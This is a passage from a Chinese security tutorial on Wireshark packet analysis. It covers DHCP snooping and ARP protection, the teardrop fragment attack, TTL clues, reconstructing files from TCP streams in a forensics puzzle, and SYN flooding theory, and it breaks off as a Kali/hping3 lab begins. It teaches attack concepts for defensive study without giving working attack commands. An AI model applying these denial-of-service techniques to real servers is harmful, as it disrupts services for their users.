DHCP是一种可以实现动态分配IP的协议,目前应用得十分广泛。我们家庭中使用的无线路由就使用这个协议为设备分配IP地址。DHCP监听(DHCP Snooping)是一种DHCP安全特性。当交换机开启了DHCP-Snooping后,会对DHCP报文进行侦听,并可以从接收到的DHCP Request或DHCP Ack报文中提取并记录IP地址和MAC地址信息。

然后利用这些信息建立和维护一张DHCP Snooping的绑定表,这张表包含了可信任的IP和MAC地址的对应关系。在华为设备中启用DHCP Snooping功能的方式如下:

[Huawei]dhcp snooping enable//全局启用
[Huawei]vlan 2
[Huawei-vlan2]dhcp snooping enable//在vlan中启用snooping功能
[Huawei-vlan2]quit

现在的交换机大都提供了基于DHCP Snooping绑定表的ARP检测功能,例如在华为中提供了“arp anti-attack”功能,启动该功能的命令为:

arp anti-attack check user-bind enable//开启dhcp snooping的arp检测
arp anti-attack check user-bind alarm enable//开启dhcp snooping的arp检测

告警功能:

quit

需要注意的是,目前由于网络设备的生产厂家的不同,因此它们的ARP检测功能也都有一定的区别,例如思科的设备使用的就是ARP inspection。

3)划分VLAN

VLAN(虚拟局域网)是对连接到的第2层交换机端口的网络用户的逻辑分段,也就是建立了一个虚拟的网络。每一个VLAN中的所有设置都好像连接到了一个虚拟的交换机一样,这样VLAN里面的设备就不能接收其他WLAN的ARP数据包。通过VLAN技术可以局域网中建立多个子网,这样就限制了攻击者的攻击范围。

2、泪滴工具(TearDrop)

几乎每一个对网络有所了解的人都知道IP地址,IP可以说是整个网络中最为重要的一个协议。互联网上的每一个设备都需要通过IP地址来标识自己的身份。

和ARP协议一样,在IP协议中也没有任何的安全机制,所以它也经常被攻击者所利用。虽然现在随着操作系统的不断完善,很多针对IP协议的攻击手段已经不再能对网络和设备造成任何的威胁了,但是它们都设计得十分巧妙,通过对其进行学习和研究,可以帮助我们更好地掌握网络安全方面的知识。

1. 泪滴攻击的相关理论

针对IP协议的攻击方法,主要有伪造IP地址和发送畸形数据包两种方式。泪滴攻击就属于发送畸形数据包这种方式,它的设计思路巧妙地利用了IP协议里面的缺陷,因此成为了网络安全里面的一个经典案例。

这种攻击的实现原理是向目标主机发送异常的数据包碎片,使得IP数据包碎片在重组的过程中有重合的部分,从而导致目标系统无法对其进行重组,进一步导致系统崩溃而停止服务的恶性攻击。
考虑到这种攻击是建立在IP协议上,我们先来简单地了解一下IP协议的几个重要内容,包括IP协议数据包的格式、分片方式以及存活时间(TTL)。

1)IP协议的格式

我们先来了解IP协议数据包的格式,大家可以访问SampleCaptures

这里面包含有Wireshark官方提供的各种数据包样本,我们以其中的teardrop.cap为例。

下图给出了下载这些样本的页面:

下载这个文件之后,可以使用Wireshark打开,里面的内容显示如图所示。 

面向安全数据包分析_第27张图片

如下图所示,我们选择第8个数据包,在数据包信息面板中查看它的详细信息

这个数据包各部分的含义如下:

  1. 版本——占4位,指IP协议的版本目前的IP协议版本号为4(即IPv4)。
  2. 首部长度——占4位,这里的值为20Bytes。
  3. 总长度的是56字节。
  4. 标识(identification)——占16位,它是一个计数器,用来产生数据包的标识。
  5. 片偏移(16位)——较长的分组在分片后某片在原分组中的相对位置,片偏移以8个字节为偏移单位。
  6. 生存时间(8位)——记为TTL(Time To Live),表示数据包在网络中可通过的路由器数的最大值。
  7. 协议(8位)字段——指出此数据包携带的数据使用何种协议以便目的主机的IP层将数据部分上交给哪个处理进程。
  8. 源IP地址,表示数据包从哪里发出。
  9. 目的IP地址,表示数据包将要发向哪里。 

数据包中的每个部分都有它的作用,我们最为关心的几个部分则是片偏移、生存时间、源IP地址和目的IP地址。其中的源IP地址和目的IP地址就好像是我们平时邮寄信件时的发信人地址和收信人地址一样。不过刚接触网络的人可能会有一个疑问,单凭一个目的IP地址,数据包就可以穿越半个世界到达目的地吗?

当然是不可以,操作系统在数据包上添加目的IP地址时,就好像我们写信时在里面写了收信人地址一样,信是不会自己走的,真正把信送到目的地的是邮政公司。但是邮政公司是怎么运作的,我们是看不到的。同样数据包到达目的地是需要路由器和路由协议共同完成的,这和我们现在研究的IP协议是两个不同的部分。

2)IP分片

刚刚在讲到IP协议格式的时候,提到的片偏移就是用来实现对数据包进行分片的。可是为什么数据包要分片呢,把所有信息放在一个数据包中不是更方便?这其实是和一个名为MTU(最大传输单元)的值有关。我们知道数据包的最外面要添加一个以太网的帧头,并包装成一个数据帧之后才能传输。

由于以太网传输电气方面的限制,以太网帧的大小都有限制每个以太网帧最小也要64Bytes,最大不能超过1518bytes。刨去以太网帧的帧头(DMAC目的地址MAC48bit=6Bytes+SMAC,源MAC地址48bit=6Bytes+Type域2bytes)14Bytes和帧尾CRC校验部分4Bytes(这个部分有时候也被称作FCS),那么剩下承载上层协议的地方也就是Data域最大就只能有1500Bytes,这个值我们就把它称之为MTU。这也就是我们几乎所有设备的MTU值都为1500的原因。

那么既然最大的数据包只能为1500的话,如果现在要发送一个信息量更大的数据时,又该如何处理呢?实际上,当发送的数据的大小超过1500时,IP层就需要对数据进行分片。就好像我们要搬家的时候,如果一辆车装不满的时候,就需要分装到几辆车里。

下图给出了Wireshark中是如何观察到的数据包:

面向安全数据包分析_第28张图片

在上上图中的④和⑤是用于分片的。④是IP数据包的标识,同一个数据包的各个分片的标识是一样的,目的端会根据这个标识来判断IP分片是否属于同一个IP数据报。⑤分成两个部分,前面3位是第一部分为标志位,其中有1位用来表示是否有更多的分片,如果是最后一个分片,该标志位为0,否则为1。后面13位为第二部分表示分片在原始数据的偏移。

我们再把这个内容更直观的展示一下,如下图所示。

好了现在,我们先来看一个正常的分片过程,这个实验很简单所以我们不再使用ENSP环境,在任何的操作系统中都可以完成这个实验。先启动Wireshark开始捕获数据包,然后打开命令行窗口,在里面发送一个大小为4200Bytes的ICMP请求,如图所示。 

使用Wireshark捕获到这个请求,可以看到它被分成了3个数据包,如图所示。 

可以看到这里面的前两个数据包的长度都是1514Bytes,最后一个数据包的长度为1282Bytes。我们点击第1个数据包(63号数据包),然后在数据包信息面板里面查看。

如下图所示,这个数据包的标识号为8805,标志位为1,偏移量为0。其中包含的数据为1514−14−20=1480Bytes。这里面包含了14Bytes以太网帧头和20Bytes IP头。 

面向安全数据包分析_第29张图片

接下来,我们来看第2个数据包(64号数据包)。如下图所示,这个数据包的标识号为8805,标志位为1,偏移量为185Bytes(185*8=1480bit)。其中包含的数据也为1514−14−20=1480Bytes。 

面向安全数据包分析_第30张图片

第3个数据包(65号数据包)的内容如图所示:

这个数据包的标识号为8805,标志位为0,表示这是数据包的最后一个分片,偏移量为370Bytes(370*8=2960bit)。其中包含的数据为1248Bytes。而且在这个数据包中包含了分片的全部信息,如下图所示。 

面向安全数据包分析_第31张图片

而当目标服务器收到了这几个数据包分片之后,就会按照这个信息组合起来,组合好的数据包如下图所示。 

3)泪滴攻击

泪滴(teardrop)攻击是基于数据分片传送进行的攻击手段。在IP报头中有一个偏移字段和一个分片标志(MF),如果MF标志设置为1,则表明这个IP包是一个大IP包的片断,其中偏移字段指出了这个片断在整个IP包中的位置。

例如,对一个4200Bytes的IP包进行分片(MTU为1480),则3个片断中偏移字段的值依次为:0、1480、2960。这样接收端就可以根据这些信息成功的组装该IP包。而如果一个攻击者打破这种正常情况,把偏移字段设置成不正确的值,即可能出现重合或断开的情况,就可能导致目标操作系统崩溃。比如,把上述偏移设置为0、1000、2000。

下图中阴影部分的就是两个数据包有重合的地方,目标设备在接收到这种分片之后就无法重新组合成一个数据包,这就是所谓的泪滴攻击。这种攻击方式在以前曾经给计算机用户带来了很大的困扰,但是对如今的操作系统基本无效,只是有时攻击者会将其与泛洪相结合来作为一种攻击手段。

到此为止,我们对泪滴攻击的介绍已经结束了,不过在这个学习过程中,你有没有发现这里面的3个分片的颜色呢?其中前两个分片的颜色都是白色的,而最后一个分片却是紫色的。如图11-14所示,为什么同一个数据包的3个分片却显示了不同颜色呢? 

Wireshark中不同类型的数据包往往有不同的颜色,那么这些颜色都代表着什么含义呢? 

2. Wireshark的着色规则

在我们使用Wireshark进行工作的时候,可以在数据包列表面板处看到各种类型的数据包都以不同的颜色显示出来。

如图所示,我们可以通过调整“视图”子菜单中的选项来调整颜色的设置。

这里面“着色分组列表”选项可以打开或者关闭对数据包的着色,默认情况下是打开的,如果单击这个选项的话,可以切换到关闭状态。这样看到的所有数据包就都是没有颜色的。

可是这些颜色又代表了什么含义呢?如果想要了解到这一点的话,可以点击“着色规则”选项,这时就会弹出一个“Wireshark着色规则”的对话框。 

这个对话框中以很直观的形式显示了数据包着色的规则,每一行的格式由前景色和背景色组成,其中前景色就是文字的颜色。这里面内容分成了“名称”和“过滤器”两列,其中“名称”列给出了当前数据包的类型,“过滤器”使用了前面介绍过的显示过滤器的语法,这样就可以更明确地指明到底哪些数据包使用当前的格式。

例如上图的第一行的名称就是“Bad TCP”,表示不正常的TCP数据包(包括乱序、重传等),如下图所示这部分流量是使用过滤器“tcp.analysis.flags&&!tcp.analysis.window_update”过滤得到的,符合这个特点的数据包在数据包列表面板中就会以黑底红字的形式显示出来。 

这些着色规则以文件的形式保存在“colorfilters”中,我们也可以在Wireshark的外部使用文本编辑器对其进行处理。每当Wireshark启动之后,就会自动加载这个文件,将里面的规则应用到所有捕获到的数据包上。如果我们需要在Wireshark中创建一个颜色规则,可以按照如下步骤进行。

(1)首先依次单击菜单栏“视图”→“着色规则”。

(2)在弹出的“Wireshark着色规则”,单击左下角的“+”按钮,这样就会在最上方添加新的一行。默认的名称为“New coloring rule”,过滤器处为空。 

(3)在名称处添加一个名称。

(4)在过滤器中按照显示过滤器的语法添加一个字符串。

(5)如图所示,单击“前景”按钮,在弹出的Windows调色板中选择指定的颜色。 

(6)单击“背景”按钮,在弹出的Windows调色板中选择指定的颜色。

(7)这里我们以添加一个Windows操作系统ping命令发出的数据包作为例子,这里名称填写为“Windows Ping”,过滤器为“(icmp.type==8&&icmp.code==0) and (data.len==32)”,前景色设置为黑,背景色设置为绿。添加完“着色规则”如图所示。 

(8)单击“OK”按钮就可以将这个着色规则应用到Wireshark中了,从图中可以看到这个规则已经起作用了。 

面向安全数据包分析_第32张图片

如果还需要进一步对数据包应用着色规则进行判定的话,可以在数据包列表面板中单击一个数据包,然后在数据包详细信息列表处点击Frame层展开。从下图可以看到这个数据包符合了名称为“Windows Ping”的着色规则。 

当不需要其中某一条着色规则时,可以在“Wireshark着色规则”的对话框选中这条规则,然后单击左下方的“-”按钮。

如果你希望能在其他计算机上使用这些自定义着色规则,可以使用“Export”功能将这些设置以文件的形式导出,并在别的计算机上可以使用“Import”功能导入这个文件。 

面向安全数据包分析_第33张图片

Wireshark中默认也有一个专门用来保存着色规则的文件“colorfilers”。这个文件保存在Windows系统的个人配置文件或者Wireshark安装目录的profiles文件夹中,可以使用文本编辑器进行编辑,这个文件中一般会使用如下的3种符号。

  • #:表示一个单行的注释。
  • @:表示用于分割着色规则各个字段的分隔符。
  • !:表示要停止这个着色规则的使用。

有些时候,会出现一个数据包匹配了两个以上着色规则的情形,例如上例中“Windows ICMP Echo Request”就与系统预设的“ICMP”规则,在这种情况下,显然一个数据包不能同时显示两个不同的颜色,那么它将会遵循哪个规则呢?

这里面的着色规则按照从上到下的顺序来确定优先性,一个数据包会按照从上到下的顺序来逐个匹配这些规则,所以我们通常会将一个指定范围小的规则放置在通用规则的前面。 

3. 根据TTL值判断攻击的来源

我们在对攻击数据包的IP层进行分析时,还有一个很重要的字段:TTL。TTL的作用是限制IP数据包在计算机网络中存在的时间。TTL的最大值是255,不同的操作系统发出数据包的TTL字段值都不相同。TTL字段由IP数据包的发送者设置,在IP数据包从源主机到目的主机的整个转发路径上,每经过一个路由器,路由器都会修改这个TTL字段值,具体的做法是把该TTL的值减1,然后再将IP包转发出去。

不同的操作系统的默认TTL值是不同的,所以我们可以通过TTL值来判断主机的操作系统,但是当用户修改了TTL值的时候,就会误导我们的判断,所以这种判断方式也不一定准确。下面是默认操作系统的TTL。

  • WINDOWS NT/2000 TTL:128
  • WINDOWS 95/98 TTL:32
  • UNIX TTL:255
  • LINUX TTL:64
  • WIN7 TTL:64

从TTL值可以大致判断一个数据包要经过多少个路由器才能到达目的主机,例如从TTL的值60可以看出数据包经过64−60=4个路由器到达目的主机。

很多攻击者伪造了源地址对我们的网络进行入侵时,经常会忽略对TTL值的修改,而我们就可以以此来获得重要的信息。

收到了大量不同地址的数据包,如下图所示。

面向安全数据包分析_第34张图片

从表面来看,这些数据包来自不同地方,也去往不同目标。但是我们查看这里面数据包的IP协议头时,却发现所有的TTL值都为64。 

面向安全数据包分析_第35张图片

如果这些数据包来自于网络外部,即使是来源于同一台设备,也会因为路径不同而产生不同的TTL值。而且这些数据包的值全都为64,基本上可以肯定这时攻击者所使用的设备就在网络内部。 

三、传输层网络安全

1、数据流功能

 我们经常会在访问某个网站时,却不小心下载了木马的情形。尤其让人感到郁闷的是,下载木马的过程完全是不可见的。不过即便如此,这个木马文件仍然需要以数据包的形式进行传输,所以我们完全可以用Wireshark来检测到它。

最初设计Wireshark的目的是用来检查网络中的问题,不过随着使用者技能的不断娴熟,他们也发现了Wireshark还可以胜任更多的任务,而网络取证就是其中重要的一项。取证者只需要监控网络中的通信,就可以清楚地发现网络中用户的行为。例如某个用户从外网下载了什么文件,或者它通过电子邮件向外发送了什么文件等。

既然用户可能是使用各种不同的应用程序传输的文件,为什么Wireshark都可以对其进行解析呢,有人可能会此感到困惑。其实这些应用程序在应用层可能使用不同的协议,但是它们在传输数据时传输层采用的大多数采用的是TCP协议,只不过一个完整的文件会被分割成多个数据包进行传输。这些有顺序的数据包就被称作流,而Wireshark中提供了一个“流跟踪(TCP Stream)”功能。利用这个功能,Wireshark就可以将捕获到所有的通信数据包重组成完整的会话或者文件。

1. TCP的数据传输

我们对TCP连接的建立方式已经不陌生了,现在来了解一下TCP连接建立之后的数据传输。当客户端和服务端之间建立好连接之后,就可以通过这个连接来传递数据了。客户端和服务端可以同时通过这个连接向对方发送消息。

TCP在进行数据的传输时提供了可靠的数据传输服务,这一点指的是彼此通信的应用进程可以通过TCP无错的顺序传递所有数据,中间不会有字节的丢失或重复。但是TCP协议仅仅能保证全部数据传递的准确性,对传输的速度是不能保证的。

下面我们来具体分析一下TCP数据传输的过程,这是一个由服务器向客户端传递数据的实例。

(1)服务器在发送的数据包中设置tcp.flags.push=1,tcp.flags.ack=1,下图就给出了一个设置了tcp.flags.push和tcp.flags.ack标志位的数据包实例。

面向安全数据包分析_第36张图片

(2)服务器会将要传输的数据添加到数据包的Data部分,如下图所示。 

(3)服务器将这个数据包发送出去。

在这个网络数据传输过程中,有用的Wireshark显示过滤器包括以下几个。

  • data:只显示包含数据的数据包,如下图所示。

  • data&&ip.addr==10.0.0.221。
  • tcp.flags.push==1。
  • tcp.flags.push==1&&ip.addr==10.0.0.221。
  • tcp.flags==0x0018:显示所有的PSH,ACK数据包。 
  • tcp.flags==0x0011:显示所有的FIN和ACK数据包。
  • tcp.flags==0x0010:显示所有的ACK数据包。

2. Wireshark中的TCP流功能

我们已经了解了TCP数据包中是如何传输数据的,当我们在监测一个网络时这一点是十分有用的。如果我们需要在网络中进行取证,那么查看这些数据的具体内容则是十分重要的,例如一台主机向外部传输数据时,到底传输的是一张图片,还是一个木马文件呢?

下面给出在Wireshark中还原数据的方式,我们仍然使用Wireshark官方提供的样例包。

首先选中数据包列表中一个任意的会话数据包,在这个数据包中单击鼠标右键,然后在弹出的菜单中依次选中“追踪流”→“TCP流”。这种方法在检测TCP流的内容时是一种绝佳的选择,它避免了我们对数据包进行逐个检查的烦琐操作。尤其是在服务器和客户端之间出现故障的时候,使用这种方法非常有用。

如图所示,Wireshark中的File菜单提供了“Export Objects”功能,这个功能可以导出HTTP和TCP数据流中的文件。

但是这种方法经常会出现错误,造成导出的文件并不完整,因此我们再介绍另外一种方法。

我们以http_witp_jpegs.cap为例,在这次传输过程中由服务端向客户端传送了一个文件,这里就以还原这个文件为例。

如图所示,其中序号为269的数据包中内容如下。 

如下图所示,我们在这个数据包上单击鼠标右键,然后再依次选中“追踪流”|“TCP流”。 

面向安全数据包分析_第37张图片

当我们对一个数据包进行“追踪流”的操作时,这时就会自动创建并应用一个显示过滤器。

下图就展示了一个应用了“追踪流”窗口:

面向安全数据包分析_第38张图片

注意在这个数据流被选中之后创建显示过滤器的语法。 

整个数据流会在一个单独的窗口中显示出来,这个窗口中的全部数据以两种颜色显示,其中红色用来标明从源地址前往目的地址的流量,而蓝色用来区分出相反方向也就是从目的地址到源地址的流量。

通常连接是由客户端主动发起的,因此显示的颜色为红色,如图所示。

面向安全数据包分析_第39张图片

我们需要过滤掉其中的GET请求,具体方法是单击左侧的下拉列表框,然后选中“10.1.1.1-10.1.1.101”。 

然后在右侧的“显示和保存数据为”后选择“原始数据”。 

保存的时候,你可以随意指定一个文件名,但是扩展名需要指定为.bin,例如Capture_picture.bin。这个文件中除了包含目标图片之外,还包含了一些多余的数据,接下来就需要使用WinHex将其去除掉。

WinHex是一款极为精巧的文件编辑工具,你可以在互联网上很容易地下载到它,大小只有几MB。如图所示,我们使用WinHex打开Capture_picture.bin,可以看到这个文件中包含了一些跟图片无关的头部信息,现在需要将这些信息去除掉。

仔细观察Wireshark中解析的数据流,在“Content-Type:image/jpeg”后面就是图片的实际内容,在中间有两个换行符。换行符对应的是“0D 0A”,我们在WinHex找到“Content-Type:image/jpeg”,其中的图片是由“0D 0A 0D 0A”后面的内容构成。我们先找到“0D 0A 0D 0A”,如下图所示,然后将其前面(包含“0D 0A 0D 0A”)的所有内容全部删除。 

这个文件比较方便的是没有多余的尾部信息,所以在去除头部信息之后,我们就可以将这个文件保存为图片了,这里起名为Capture_picture.jpeg,如下图所示。

下面你就可以使用任意的一个图片查看工具来查看这张图片。 

3. 网络取证

好了,现在我们已经知道如何从网络通信中导出文件了,这其实也正是网络取证工作中重要的一个环节。那么现在不妨将学到的内容进行应用,这一方面可以帮助我们巩固前面的知识,另一方面也可以熟悉一下网络取证工作的思路。

这里我向你推荐一个很有意思的网站,名为Network Forensics Puzzle Contest,在这个网站提供了一些很专业的题目帮助我们学习Wireshark的使用。国内很多安全类比赛的题目也都源于这个网站。我们来看一下里面提供的第一个网络取证题目:Ann使用AIM做了什么?题目信息如下:
Anarchy-R-Us公司怀疑他们的雇员Ann Dercover是一个为竞争对手工作的特工,她有机会获得公司的重要机密。安全人员担心Ann Dercover有可能会泄露这些机密。

这些安全人员一直在监视Ann Dercover的活动,但是到目前为止还没有任何可疑的行为。不过就在今天,一个从未使用过的笔记本电脑连接到了公司的无线网络中,工作人员推测是有人在停车场中使用它,因为大楼内部没有任何陌生人。而Ann Dercover的计算机(192.168.1.158)则将一些信息通过无线网络发送到这台计算机,而之后不久她就消失了。

“我们捕获到了他们通信时的数据包”安全人员说,“但是我们并不知道发生了什么,你能帮忙吗?”
好了,现在你就是这个安全取证工作人员,现在你的任务就是弄清楚Ann在和谁联系,她发送了什么,并取得如下的证据。

  1. 和Ann通信的好友(buddy)叫什么名字?
  2. 在这次通信时发出的第一条消息是什么?
  3. Ann传送了一个文件,这个文件的名字为什么?
  4. 这个文件中Magic number<nn>Magic number,即幻数,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。一般而言,硬盘数据恢复软件(如EasyRecovery),就是靠分析磁盘上的原始数据,然后根据文件幻数来试图匹配文件格式,从而尝试识别出磁盘中那些已经从文件系统登记表中删除的文件(真实的文件内容可能没有被覆盖)。</nn>是什么(即最前面的4Bytes)?
  5. 这个文件的MD5值为多少?
  6. 这个文件的内容是什么?

我们先来看第一个题目,和Ann通信的好友(buddy)叫什么名字?首先使用Wireshark打开刚刚捕获到的evidence01.pcap文件。现在我们可以肯定的是,Ann使用了某种通信工具在和外界进行通信,那么她使用的是什么呢?ICQ、Skype还是QQ?

注意,其实这个问题在题目中已经给出了答案,这里为了拓宽大家的思路,所以假设事先不知道结果。

这里我们可以在数据包中来一查究竟。经过仔细观察之后,我们除了开始的一些ARP和TCP数据包之外,第23个数据包显示使用了SSL协议,这是一个加密的格式,我们猜测这就是Ann在和外界通信时产生的数据包。虽然它的内容采用了加密的格式,但是它的IP协议头部却给带来了我们了一个惊喜,这个数据包的目的地址是64.12.24.50,如下图所示。

我们已经为Wireshark添加了显示地理位置的插件,所以这里可以直接查看这个数据包的目的地址,如下图所示。 

这里我们看到了这个数据包发往了“AOL Transit Data Network”,国内的用户对于AOL可能有些陌生,不过它在美国可是非常有名的。

不过我们可以求助于搜索引擎,在百度里面搜索“AOL通信工具”,很快就得到了有用的信息,如下图所示。 

原来这就是Ann所使用的通信工具——AIM,另外我们还查询到了这个工具使用的是443端口。那么接下来就好办了,Wireshark早就已经提供了对AIM信息的解析方法。

这里我们只需要将SSL加密的数据包重新解析为AIM格式即可。首先在第23个数据包上单击鼠标右键,然后选择“Decode as”选项,就可以打开相应的对话框了。

面向安全数据包分析_第40张图片

这个对话框一共分成5个部分,第1个Field表示使用端口的类型,第2个Value表示使用的端口值,第3个Type表示类型,第4个为默认的解析协议,第5个为用户要指定的解析协议。

对这里面的信息进行修改,我们的目的是凡是使用443端口的通信都使用AIM进行解析。那么将Field修改为TCP Port,将Value修改为443,将Current修改为AIM。 

好了设置完成之后,我们就可以单击Save按钮保存设置,然后在数据包列表面板中查看所有的信息。这里面原来显示为SSL的数据包,现在都已经显示为AIM信息了。 

面向安全数据包分析_第41张图片

好了,现在我们回到第一个问题上来,和Ann通信的好友(buddy)叫什么名字?找到第一条“AIM Messaging”,也就是第25个数据包,展开里面的信息,你会发现它分成了两层“AOL Instant Messenger”和“AIM Messaging,Outgoing”,如下图所示。

我们依次展开两层,很快就找到了答案。Ann联系的好友的名称原来就是Sec558user1。 

第2个问题是在这次通信时发出的第一条消息是什么?这个问题就简单多了,展开第一条AIM Messaging这个数据包的TLV部分,即可得到答案,如下图所示。

面向安全数据包分析_第42张图片

第3个问题,Ann传送了一个文件,这个文件的名字为什么?我们在Wireshark中使用“data”作为显示过滤器来查看哪些数据包中包含的数据,如下图所示。

 面向安全数据包分析_第43张图片

在这里面选择一个数据包,然后单击鼠标右键选择Follow→TCP Stream,打开的窗口如图所示。

面向安全数据包分析_第44张图片

好了,其实我们不用提取这个文件,就已经看到了这个文件的名称是recipe.docx了。 

第4个问题,这个文件中Magic number是什么(最前面的4Bytes)?我们按照第2节中介绍的方法将数据流中的文件提取出来,将这个文件保存为evidence01.raw,然后使用winhex打开,这个文件实际内容是从recipe.docx后面开始的,根据题目中给出的提示答案为最前面的4个bytes,所以是“50 4B 03 04”,如下图所示。

这里面涉及一些文件格式方面的知识,大家如果感兴趣的话可以去参考一些相关的资料。

然后我们将这个PK前面的部分删除掉,再保存为recipe.docx。 

第5个问题是这个文件的MD5值是多少?

计算MD5的值其实和Wireshark没有什么关系,但是在取证方面却很重要,这相当于给文件添加了一个身份证,以防止它被篡改。你可以使用任何的MD5工具来计算它的MD5值,这个题目最后的答案为8350582774e1d4dbe1d61d64c89e0ea1,如图所示。

面向安全数据包分析_第45张图片

第6个问题,这个文件的内容是什么?在解答第4个问题的时候,我们已经将网络中的TCP数据流保存成recipe.docx,现在只需要打开这个word文档,就可以看到里面的内容了,如图所示。

面向安全数据包分析_第46张图片

好了,整个探案过程到此为止了,是不是很有感觉很有意思呢? 

2、传输层洪水攻击(SYN Flooding)

服务器作为互联网上极为重要的一个环节,提供了网络用户所需要的各种资源,例如文件、数据库、视频等。虽然结构上与普通的PC机相同,但是服务器的目的是为了对外提供服务。为了保证服务器能够提供高可靠的服务,在处理能力和稳定性方面都有较高的要求。常见的服务器包括网页服务器、文件服务器、域名服务器和代理服务器等。由于服务器的重要性,它往往更容易成为攻击者的目标。

首先来介绍一种最为典型的攻击技术:拒绝服务攻击。这种技术由来已久,在大概10多年前的时候,曾经有一条关于服务器攻击的新闻轰动一时。当时正是我刚刚涉足网络安全这个领域的时候,很巧的是这个发起攻击的黑客和我都在同一个城市。当时的新闻是这样报道这一案件的,“从2004年10月起,北京一家音乐网站连续3个月遭到一个‘僵尸网络’的‘拒绝服务’攻击,造成经济损失达700余万元。日前,经公安部、省公安厅和唐山警方的努力,隐藏在唐山的神秘黑客浮出水面。

1. 拒绝服务攻击的相关理论

服务器所面临的最大威胁当数拒绝服务攻击,拒绝服务攻击其实是一类攻击的合称。所有这种类型的攻击的目的都是相同的,那就是要是使受攻击的服务器系统瘫痪或服务失效,从而使合法用户无法得到相应的资源。

虽然服务器的功能多种多样,但是这些差异都是表现在应用层,无论它们使用的是什么应用程序,但是最终都会使用到传输层的协议。而传输层常用的协议只有TCP和UDP两种。因此攻击者只需要研究这两个协议的缺陷,就几乎可以实现对所有类型服务器的攻击。

目前已经出现了很多种类型的拒绝服务攻击方式,我们只挑选其中最为典型的两种SYN flooding攻击和UDP flooding攻击进行讲解。其中SYN flooding攻击是针对TCP协议的,它的主要目的是占用目标上所有可用的连接请求。而UDP flooding攻击则是针对UDP协议的,主要目的是耗尽目标所在网络的带宽。

1)TCP连接的建立方式

TCP协议在进行通信之前需要先建立连接,例如一个客户机和一个服务器之间在发送实际的数据之前,会互相向对方发送控制数据包。这个过程使得客户机和服务器都进入连接状态,然后就可以进行数据交换了,我们称其为3次握手。握手过程一旦完成,客户机和服务器之间就建立好了一个连接,因此我们在描述TCP协议时会说这是一个面向连接的协议。

但是需要注意,这个连接仅仅对于这两个客户机和服务器才有效,而在网络中负责将这些数据进行转发的路由器甚至完全不知道这个连接的存在。

通常客户端需要3次握手才能和服务端建立一个TCP连接,这个过程如图所示。

3次握手的第1次握手由客户端发起,客户端产生一个SYN数据包并将其发送给服务端。在这个SYN数据包中,客户端完成了如下的工作。

  • 第1次握手

(1)客户端产生一个初始序列号(ISN),但在默认情况下,Wireshark中不会显示序列号的真实值,而是显示一个3次握手的相对值,例如下图中的“Sequence number:0”。 

很多时候这个相对值并不利于分析问题,不过我们可以修改这个设置,方法是依次单击菜单栏上的“编辑”→“首选项”,然后在弹出的首选项窗口左面一栏中依次选中“Protocols”→“TCP”,然后取消右侧“Relative sequence numbers”的勾选,如下图所示。 

面向安全数据包分析_第47张图片

转换之后就可以看到初始序列号的真实值,如图所示。 

(2)客户端将要发送的数据包中的tcp.flags.syn位设置为1。

(3)客户端将要发送的数据包中tcp.flags的其他位(tcp.flags.ack)设置为0。

(4)客户端将设置要发送的数据包中tcp.window_size的值,其目的是向服务端提供自己当前缓冲区的大小,这里的值为tcp.window_size_value==65535,TCP最大片段大小(MSS)为1440,表示客户端可以接受65535/1440=45个数据包。

(5)客户端会根据实际设置tcp.options,例如最大片段大小(MSS)、No-Operation (NOP)、window scale、timestamps和SACK permitted等值
然后客户端将设置好的数据包发送给服务端。

  • 第2次握手

当服务端收到了来自客户端的请求之后,如果同意建立连接的话,就会按照如下设置进行应答。

(1)服务端产生一个ISN值,将要发送的数据包中tcp.seq的值设置为这个ISN值。

(2)服务端将接收到的数据包中的初始序列号加1,然后将这个值赋值给要发送的数据包中的tcp.ack位。 

(3)服务端将要发送的数据包中tcp.window_size_value的值设置为8192。

(4)将要发送的数据包中的tcp.flags.syn和tcp.flags.ack的值都设置为1。

(5)设置要发送的数据包中的tcp.options的值来回应客户端。

接下来,服务器会将这个设置完毕的数据包发送给客户端。

  • 第3次握手

现在客户端已经与服务端成功的交换了信息,两者可以建立TCP连接了。

(1)客户端将收到服务器发来的数据包中的ISN的值加1之后,赋值给要发送的数据包中tcp.seq=3613047130,将收到的数据包中的tcp.seq加1之后,赋值给要发送的数据包中tcp.ack=2581725270。

(2)客户端设置要发送的数据包中tcp.flags.ack==1。

(3)客户端会再次发送窗口大小的值,设置要发送的数据包中tcp.window_size_value。

最后客户端将这个设置好的数据包发送到服务端。现在我们已经了解了TCP 3次握手的建立过程了,接下来就来了解攻击者是如何利用它的。

2)SYN flooding攻击

这种攻击最早出现于1996年,当时大量的网站服务器都遭受到了这种SYN flooding攻击。这种攻击利用了TCP连接的3次握手,但是这个握手过程是建立在理想状态下的,而在实际状态下当服务器收到了来自客户端发送的SYN请求之后,会发出一个SYN-ACK回应,是连接进入到了半开状态,但是这个回应很有可能会因为网络问题无法达到客户端。

所以此时需要给这个半开的连接设置一个计时器,如果计时完成了还没有收到客户端的ACK回应,就会重新发送SYN-ACK消息,直到超过一定次数之后才会释放连接。服务器需要为每一个半开连接分配一定的系统资源,所以当出现数量众多的半开连接时,服务器就会因为资源耗尽,进而停止对所有连接请求的响应。

所以攻击者可以向服务器发送大量的SYN请求但是不响应SYN-ACK回应,甚至直接伪造SYN请求的源地址,这样服务器发回的SYN-ACK回应也不会得到任何的回应。这就是SYN flooding攻击。而这种攻击技术实现起来十分简单,只需要构造带有SYN请求的数据包发往目标服务器即可。
2. 使用Hping发起SYN flooding攻击

1)构造一个仿真环境

我们在这次实验中需要使用两个虚拟机,一个是Kali Linux 2,另一个是Windows 2003,考虑到这次试验要消耗大量的系统资源,所以这个实验中我们不使用ENSP,而是在VMware中载入两台设备。即便如此,在使用虚拟设备时,由于产生的数据包数量众多,Wireshark也经常会出现假死状态。

这里面我们将Kali Linux 2和Windows 2003的网络连接方式都设置为NAT,IP获取方式都设为自动获取IP(DHCP分配),在本次实验中,其中Kali Linux 2分配的地址为192.168.32.129,而Windows 2003被分配的地址为192.168.32.132。

2)使用Hping3发起SYN flooding攻击

这次我们采用Kali Linux 2中自带的hping3来进行一次拒绝服务攻击。这是一款用于生成和解析TCP/IP协议数据包的开源工具,之前推出过hping和hping2两个版本,目前最新的版本是hping3。利用这款工具我们可以快速定制数据包的各个部分,hping3也是一个命令式的工具,其中的各种功能要依靠设置参数来实现。

启动hping3的方式就是在Kali Linux2中启动一个终端,然后输入“hping3”即可:

root@kali:~# hping3
hping3>

